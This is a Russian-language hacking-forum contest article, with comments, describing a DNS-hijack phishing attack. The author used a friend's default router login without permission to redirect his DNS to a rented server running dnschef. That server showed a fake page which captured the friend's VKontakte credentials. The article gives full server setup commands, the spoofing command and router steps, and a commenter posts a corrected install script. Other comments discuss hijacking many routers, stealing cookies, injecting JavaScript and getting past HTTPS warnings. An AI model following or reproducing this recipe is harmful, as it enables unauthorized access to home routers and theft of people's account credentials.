Конкурс Фишинговая атака с подменой DNS

Статья для участия в конкурсе Конкурс 2018 года - авторская статья по любой тематике нашего форума!

Данная статья написана в ознакомительных целях, с одним единственным напутствием - просветить Вас о том, как не попасться на удочку злоумышленников, которые желают завладеть Вашими регистрационными данными (e-mail, логин, пароль и другими).

ПРЕДИСЛОВИЕ

Однажды я решил проучить своего друга, сетевой роутер которого был защищён парой login: pass, которая конечно же никому не могла прийти в голову, а именно admin:admin. На мои доводы о том, что нужно сменить пароль на роутере, мой друг лишь отмахивался и говорил - "кому это нужно". В основном компьютер служил ему для того, чтобы пообщаться и полистать ленту новостей "В Контакте", данная соцсеть даже была установлена стартовой страницей по умолчанию в браузере Mozilla Firefox. Естественно, обо всём этом мне было известно.

В один прекрасный день дружбан прибежал с пар домой, включил комп зашёл в свой любимый контакт, ввёл логин и пароль, но социальная сеть не давала ему залогиниться. Друг отчаянно ввёл логин с паролем ещё 15 раз, и после очередной неудачной попытки позвонил мне. Я посоветовал ему перезагрузить роутер, после чего всё прекрасно заработало. Друг зашёл в ВК и увидел сообщение от "неизвестного человека", в котором были указаны его логин и пароль от ВКонтакта.

КАК МНЕ УДАЛОСЬ ЭТО СДЕЛАТЬ

1. Я создал свой DNS сервер;
2. Зашёл в настройки роутера друга (логин и пароль были мне известны);
3. Подменил DNS, указанный в его роутере, на свой и перезагрузил роутер.

1. Создание DNS сервера

Для того, чтобы создать свой DNS сервер, я взял в аренду самый дешёвый VDS (коих в сети предостаточно) под управлением операционной системы Linux Debian 8.5 (я использовал ruvds.com и далее буду рассматривать на его примере). Подключился к нему через специальное приложение PuTTY, введя предоставленные мне учётные данные от VDS и указав следующие значения:
Код:
1. Имя хоста (или IP адрес) - IP адрес моего VDS;
2. Порт - 22
3. Тип соединения - SHH;
4. Управление сеансами - любое название (например CODEBY.NET)
5. Сохранить;
6. Соединиться.

Открывается такое окошко, в котором мы вводим логин и пароль от VDS, которые можно вставить нажатием правой кнопки мыши (пароль в окне PuTTY не отображается никакими символами) и жмём Enter.

HenbTSt.jpeg


При появлении вопроса "Do you want continue [Y/n]" жмём Enter.

Далее для установки DNS сервера вводим следующие команды:
Код:
apt-get install python-ipy
apt-get install python-setuptools
easy_install pip
apt-get install apache2
pip install dnslib
aptitude install vsftpd
adduser username
apt-get update
apt-get install lamp-server^
apt-get install php5 php5-gd php5-mysql php5-curl php5-cli php5-cgi php5-dev
apt-get install phpmyadmin
usermod -a -G www-data username
chmod 777 /var/www/html/ -R
cd /etc
nano vsftpd.conf
(убрать комментарий в строчке #write_enable=YES)
service vsftpd restart
wget http://thesprawl.org/media/projects/dnschef-0.3.zip
apt-get install unzip
unzip dnschef*
cd dnschef*
chmod 755 *.py
python dnschef.py --help

Далее создаём нашу фишинговую страничку index.html и загружаем её на VDS при помощи клиента FileZilla.

Переходим Файл > Менеджер сайтов и вбиваем наши данные, указывая значения, как показано ниже, и жмём Соединиться.

wi9ZR8h.jpeg


Заходим в директорию /var/www/html, удаляем находящийся там файл index.html и загружаем вместо него наш фишинговый index.html.

Далее вновь запускаем PuTTY и вводим следующие значения:
Код:
python dnschef.py -i XXX.XXX.XXX.XXX --truedomains=codeby.net --fakeip=XXX.XXX.XXX.XXX --fakeipv6=XXXX:X:X:X:X:X:XXXX:XXXX --logfile=/root/redirect.log

--truedomains - разрешённые домены, к которым будет доступ (можно указать несколько через запятую);
IPV4 - это обычный IP нашего VDS сервера
IPV6 - нужно сконвертировать из нашего IPV4 (например на этом сайте: )

На этом наш DNS сервер готов к работе.

На последнем шаге вбиваем в браузере IP-адрес и порт роутера нашего друга, вводим его учётные данные (логин и пароль), ищем, где прописан DNS, и заменяем его на наш DNS сервер.

На примере роутера TP-Link это выглядит так

qxfoI55.jpeg


Устанавливайте сложные пароли на свои роутеры и Ваша машина будет защищена от атак подобного рода! Мира Вам и Вашему дому!

Видео в тему:

 
А

Алексей Владимирович

а если я хочу много роутеров?
 
P

PixelHolly96

А вместо вдс можно использовать устройство, находящиеся в локалке? Или дело в статическом ip?
 

1984

Green Team
08.03.2018
137
490
BIT
1
А что дальше? Где атака то???? Где перехват трафика, где подмена сертификатов?) Кликбайт...
Ограничился в этой статье темой подмены DNS на роутере, разбор самого фишинга это уже другая история, думаю позже напишу отдельную статью на эту тему, если того позволят правила форума)
 
  • Нравится
Реакции: wittmann404

n3d.b0y

Red Team
19.01.2018
181
474
BIT
163
Ограничился в этой статье темой подмены DNS на роутере, разбор самого фишинга это уже другая история, думаю позже напишу отдельную статью на эту тему, если того позволят правила форума)

На форуме есть не одна статья на эту тему.
 
  • Нравится
Реакции: Den11

1984

Green Team
08.03.2018
137
490
BIT
1
Повторил на другом VDS (Debian 8), получил ошибки при установке DNSchef, поэтому подкорректировал код:

Для установки DNS сервера вводим следующие команды:
Код:
apt-get install python-ipy
apt-get install python-setuptools
easy_install pip
apt-get install apache2
pip install dnslib
wget http://thesprawl.org/media/projects/`curl -s http://thesprawl.org/projects/dnschef/ | grep -E -o 'dnschef-[0-9]{1,2}.[0-9]{1,2}.zip' | head -n 1`
apt-get install unzip
unzip dnschef-0.3.zip
rm dnschef-*zip
cd dnschef-*
chmod 755 *.py
python dnschef.py --help

Для настройки нашего DNS:
Код:
python dnschef.py -i XXX.XXX.XXX.XXX --truedomains=codeby.net --fakeip=XXX.XXX.XXX.XXX --fakeipv6=XXXX:X:X:X:X:X:XXXX:XXXX --logfile=/root/redirect.log
 
Последнее редактирование:
M

Mozzy

Осталось только слово "Фишинговая" убрать из заголовка. Ибо это не фишинг. Топикстартер, ртфм.
 
  • Нравится
Реакции: Shprot и explorer_traveler
K

Kalibri2323

Мне щас интересен вектор атаки dns spofing+ngrok (так как там не будет проблемы с сертификатами ) если кто то хочет помочь с этим пишите а телегу @Kalibri2323
 
  • Нравится
Реакции: 1984

ATAR1

Member
13.12.2017
5
0
BIT
0
А можно через все это,запросить у браузера куки страницы вк например ?
 

1984

Green Team
08.03.2018
137
490
BIT
1
А можно через все это,запросить у браузера куки страницы вк например ?
При обычной подмене DNS конечно же нет, а вот если учесть во внимание комментарий господина Ondrik8 в теме VDS-сервер на опыты - "скажу по секрету даже js внедрить реально)", тогда есть над чем подумать :)
 

iamxcite

New member
03.11.2017
2
0
BIT
0
Все равно https не даст перейти "жертве" на сайт, выдаст ошибку, ничего не получится, не имея физического доступа к машине атакуемого для установки сертификата, даже с учетом комментария Ondrik8
 

Rollly

Green Team
31.12.2017
109
133
BIT
0
Все равно https не даст перейти "жертве" на сайт, выдаст ошибку, ничего не получится, не имея физического доступа к машине атакуемого для установки сертификата, даже с учетом комментария Ondrik8
Если включен HSTS на сайте, то естественно не получится. При его отсутствии, будет показана ошибка сертификата, но будет возможность принудительно перейти на сайт.
 

explorer_traveler

Green Team
31.10.2017
24
22
BIT
1
Отличная статья и видео! Но после просмотра хотелось увидеть следующее название:
"Подъём fraud-DNS сервера и прокидывание его в роутере жертвы для дальнейшей реализации фишинговой атаки".
 
  • Нравится
Реакции: 1984

1984

Green Team
08.03.2018
137
490
BIT
1
Отличная статья и видео! Но после просмотра хотелось увидеть следующее название:
"Подъём fraud-DNS сервера и прокидывание его в роутере жертвы для дальнейшей реализации фишинговой атаки".
Пожалуй соглашусь с Вашим примечанием
 
P

Pegas

Вы могли бы написать ваши контакты для связи?
 
P

PegaSonic

Оскорбление участника форума. Режим "Только чтение" 72 часа.
Зачем создавать такие темы на форуме?
Днс чифу нужен как минимум js react для работы
А ты просто вводишь в заблуждение читателей форума. Новички копипастят твой мануал и потом бегают месяцами,постоянно переустанавливая.
 
Последнее редактирование модератором:
S

Salo

root@vm-13469:~/dnschef# python dnschef.py
Traceback (most recent call last):
File "dnschef.py", line 39, in <module>
from dnslib import *
ImportError: No module named dnslib


что не так?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!